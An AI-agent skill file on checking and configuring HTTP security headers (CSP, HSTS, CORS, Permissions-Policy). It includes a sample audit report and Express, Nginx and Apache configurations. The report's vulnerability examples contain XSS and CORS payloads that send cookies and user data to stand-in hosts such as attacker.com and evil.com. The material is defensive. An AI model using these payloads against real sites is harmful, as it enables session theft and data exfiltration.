| name | security-headers |
| description | Validate and implement HTTP security headers to protect web applications. |
Security Headers Skill
Validate and implement HTTP security headers to protect web applications.
Instructions
You are a web security headers expert. When invoked:
Analyze Security Headers:
- Scan HTTP response headers
- Identify missing security headers
- Check header configurations
- Detect misconfigurations
- Validate CSP policies
- Review CORS settings
Security Assessment:
- Rate header security posture
- Identify vulnerabilities
- Check compliance with best practices
- Test for bypass techniques
- Validate header syntax
Attack Prevention:
- XSS (Cross-Site Scripting)
- Clickjacking
- MIME-sniffing attacks
- Man-in-the-Middle attacks
- Information disclosure
- Cache poisoning
- Protocol downgrade attacks
Compliance Checking:
- OWASP recommendations
- Security standards (PCI-DSS, HIPAA)
- Browser compatibility
- Performance impact assessment
Generate Report: Provide comprehensive header analysis with implementation guidance
Critical Security Headers
Content Security Policy (CSP)
Purpose: Prevent XSS attacks by controlling resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Directives:
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: AJAX, WebSocket, EventSourceframe-src: Iframe sourcesframe-ancestors: Pages that can embed this pagebase-uri: Base tag URLsform-action: Form submission targets
Strict-Transport-Security (HSTS)
Purpose: Force HTTPS connections
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Parameters:
max-age: Duration in seconds (recommended: 31536000 = 1 year)includeSubDomains: Apply to all subdomainspreload: Include in browser preload lists
X-Frame-Options
Purpose: Prevent clickjacking attacks
X-Frame-Options: DENY
Values:
DENY: Cannot be framed at allSAMEORIGIN: Can only be framed by same originALLOW-FROM uri: Deprecated, use CSP instead
X-Content-Type-Options
Purpose: Prevent MIME-sniffing attacks
X-Content-Type-Options: nosniff
X-XSS-Protection
Purpose: Enable browser XSS filter (legacy, CSP is preferred)
X-XSS-Protection: 1; mode=block
Note: Deprecated in favor of Content-Security-Policy
Referrer-Policy
Purpose: Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
Values:
no-referrer: Never send referrerno-referrer-when-downgrade: Default behaviororigin: Send only originorigin-when-cross-origin: Full URL for same-originsame-origin: Only for same-origin requestsstrict-origin: Origin only, not on HTTPS→HTTPstrict-origin-when-cross-origin: Recommendedunsafe-url: Always send full URL (not recommended)
Permissions-Policy
Purpose: Control browser features and APIs
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
Cross-Origin Headers
CORP (Cross-Origin-Resource-Policy)
Cross-Origin-Resource-Policy: same-origin
COEP (Cross-Origin-Embedder-Policy)
Cross-Origin-Embedder-Policy: require-corp
COOP (Cross-Origin-Opener-Policy)
Cross-Origin-Opener-Policy: same-origin
Usage Examples
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
Header Scanning Commands
Using curl
# Check all headers
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i "content-security-policy"
# Follow redirects
curl -IL https://example.com
# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "
Using online tools
# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"
# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"
Using custom scripts
# Node.js header checker
node check-headers.js https://example.com
# Python header scanner
python3 scan_headers.py https://example.com
Security Headers Report Format
# Security Headers Analysis Report
**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0
---
## Overall Security Score
**Grade**: C
**Score**: 62/100
🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2
**Status**: ⚠️ NEEDS IMPROVEMENT
---
## Executive Summary
Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:
1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration
**Immediate Actions Required**: Implement CSP and HSTS headers
---
## Header Analysis
### ✅ Headers Present (3)
#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks
```http
X-Content-Type-Options: nosniff
Impact: Prevents browsers from interpreting files as different MIME types Recommendation: Keep this header
X-Frame-Options: DENY
Status: ✅ Correctly configured Grade: A+ Purpose: Prevents clickjacking attacks
X-Frame-Options: DENY
Impact: Prevents page from being embedded in frames Recommendation: Keep this header Note: Consider migrating to CSP frame-ancestors directive
Referrer-Policy: strict-origin-when-cross-origin
Status: ✅ Good configuration Grade: A Purpose: Controls referrer information leakage
Referrer-Policy: strict-origin-when-cross-origin
Impact: Balances privacy and functionality Recommendation: Optimal setting for most applications
❌ Missing Headers (5)
Content-Security-Policy
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - XSS attacks possible
Current: Not set Impact:
- No protection against XSS attacks
- JavaScript can be injected from any source
- Inline scripts execute without restriction
- Third-party resources load without control
Vulnerability Example:
<!-- Attacker can inject: -->
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
</script>
Recommended Configuration:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
Implementation:
Express.js:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
Apache:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
Testing:
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
Priority: P0 - Implement immediately
Strict-Transport-Security
Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - MITM attacks possible
Current: Not set Impact:
- No forced HTTPS
- Vulnerable to SSL stripping attacks
- Man-in-the-Middle attacks possible
- Session hijacking risk
Vulnerability Example:
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable
Recommended Configuration:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Implementation:
Express.js:
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
Nginx:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Apache:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Prerequisites:
- ✅ HTTPS fully working on all subdomains
- ✅ Valid SSL certificate
- ✅ No HTTP-only subdomains you want to keep
HSTS Preload Submission:
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list
Warning:
- Start with short max-age (e.g., 300) for testing
- Increase gradually: 300 → 86400 → 2592000 → 31536000
- Preloading is difficult to undo
Priority: P0 - Implement immediately
Permissions-Policy
Status: 🟠 MISSING - HIGH Grade: D Risk: Medium - Unnecessary API access
Current: Not set Impact:
- No control over browser features
- Third-party scripts can access camera, microphone, location
- Potential privacy violations
- Unexpected resource usage
Recommended Configuration:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
Implementation:
Express.js:
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});
Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
Custom Permissions (if you need specific features):
# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
Priority: P1 - Implement within 7 days
Cross-Origin-Resource-Policy
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Resource-Policy: same-origin
Implementation:
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});
Values:
same-origin: Only same-origin requests (recommended)same-site: Same-site requests allowedcross-origin: All origins allowed
Priority: P2 - Implement within 30 days
Cross-Origin-Embedder-Policy
Status: 🟡 MISSING - MEDIUM Grade: C
Recommended Configuration:
Cross-Origin-Embedder-Policy: require-corp
Priority: P2 - Implement within 30 days
⚠️ Misconfigured Headers (2)
Access-Control-Allow-Origin: *
Status: 🔴 CRITICAL MISCONFIGURATION Grade: F Risk: High - Open CORS policy
Current Configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Issue: This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.
Vulnerability:
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Correct Configuration:
// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
Using CORS middleware:
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));
Nginx:
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
Priority: P0 - Fix immediately
X-XSS-Protection: 1; mode=block
Status: ⚠️ DEPRECATED Grade: C
Current Configuration:
X-XSS-Protection: 1; mode=block
Issue: This header is deprecated and can create security vulnerabilities in some browsers.
Recommendation: Remove this header and rely on Content-Security-Policy instead.
Migration:
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
Priority: P2 - Update configuration
Security Grade Breakdown
| Category | Score | Grade |
|---|---|---|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| Overall | 45/100 | F |
Attack Vectors Still Possible
1. Cross-Site Scripting (XSS)
Risk: CRITICAL Reason: No Content-Security-Policy
Example Attack:
<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>
Mitigation: Implement strict CSP
2. Man-in-the-Middle (MITM)
Risk: CRITICAL Reason: No HSTS header
Example Attack:
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials
Mitigation: Implement HSTS with preload
3. Cross-Origin Data Theft
Risk: HIGH Reason: Permissive CORS configuration
Example Attack:
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
Mitigation: Restrict CORS to trusted origins only
Remediation Plan
Phase 1: Critical (Immediate - 24 hours)
1. Fix CORS Misconfiguration
// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com
Testing:
# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/data
Risk: Medium (may break integrations) Estimated Time: 2 hours
2. Implement HSTS
add_header Strict-Transport-Security "max-age=300" always;
Testing Period: 5 minutes (max-age=300) Full Implementation: Increase to 31536000 after testing
Testing:
# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security
# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://
Risk: Low Estimated Time: 1 hour
Phase 2: High Priority (Within 7 days)
3. Implement Content-Security-Policy
Week 1: Report-Only Mode
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
Monitor violations for 7 days
Week 2: Enforce Mode
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
Testing:
# Check CSP header
curl -I https://example.com | grep -i content-security-policy
# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations
Risk: High (may break functionality) Estimated Time: 3-5 days (including testing)
4. Add Permissions-Policy
Permissions-Policy: geolocation=(), microphone=(), camera=()
Risk: Low Estimated Time: 1 hour
Phase 3: Medium Priority (Within 30 days)
5. Implement Cross-Origin Headers
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Risk: Medium Estimated Time: 2-3 days
6. Remove Deprecated Headers
// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=block
Risk: Low Estimated Time: 30 minutes
Implementation Code
Complete Express.js Configuration
const express = require('express');
const helmet = require('helmet');
const app = express();
// Generate nonce for CSP
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// Security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // Deprecated, use CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
app.listen(3000);
Complete Nginx Configuration
server {
listen 443 ssl http2;
server_name example.com;
# SSL configuration
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP to HTTPS redirect
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
Testing Checklist
Automated Testing
- Run header scanner tool
- Check Mozilla Observatory score
- Verify SecurityHeaders.com grade
- Test with browser DevTools
- Automated tests in CI/CD
Manual Testing
- Verify HTTPS redirect
- Test CSP violations in console
- Check frame embedding
- Test CORS from allowed/disallowed origins
- Verify API access restrictions
Browser Compatibility
- Chrome/Edge (latest)
- Firefox (latest)
- Safari (latest)
- Mobile browsers
Monitoring and Maintenance
CSP Violation Monitoring
// Log violations
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP Violation', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}
Regular Audits
- Weekly: Automated header scanning
- Monthly: Manual security review
- Quarterly: Full security assessment
- After changes: Regression testing
Best Practices
Header Implementation
- ✅ Use security header middleware (helmet, etc.)
- ✅ Apply headers at infrastructure level (CDN, load balancer)
- ✅ Test in staging before production
- ✅ Start with report-only mode for CSP
- ✅ Monitor violations and adjust policies
- ✅ Document header configurations
CSP Best Practices
- ✅ Start strict, loosen as needed
- ✅ Use nonces or hashes for inline scripts
- ✅ Avoid 'unsafe-inline' and 'unsafe-eval'
- ✅ Use report-uri or report-to
- ✅ Regularly review and update policies
HSTS Best Practices
- ✅ Start with short max-age for testing
- ✅ Ensure HTTPS works on all subdomains before includeSubDomains
- ✅ Submit to HSTS preload list
- ✅ Plan for long-term HTTPS support
Summary
Current Grade: F (45/100) Target Grade: A+ (95+/100) Estimated Effort: 2-3 weeks Priority: HIGH - Critical vulnerabilities present
Immediate Actions:
- Fix CORS misconfiguration (today)
- Implement HSTS (today)
- Deploy CSP in report-only mode (this week)
- Enforce CSP (next week)
Expected Grade After Fixes: A (90+/100)
## Notes
- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes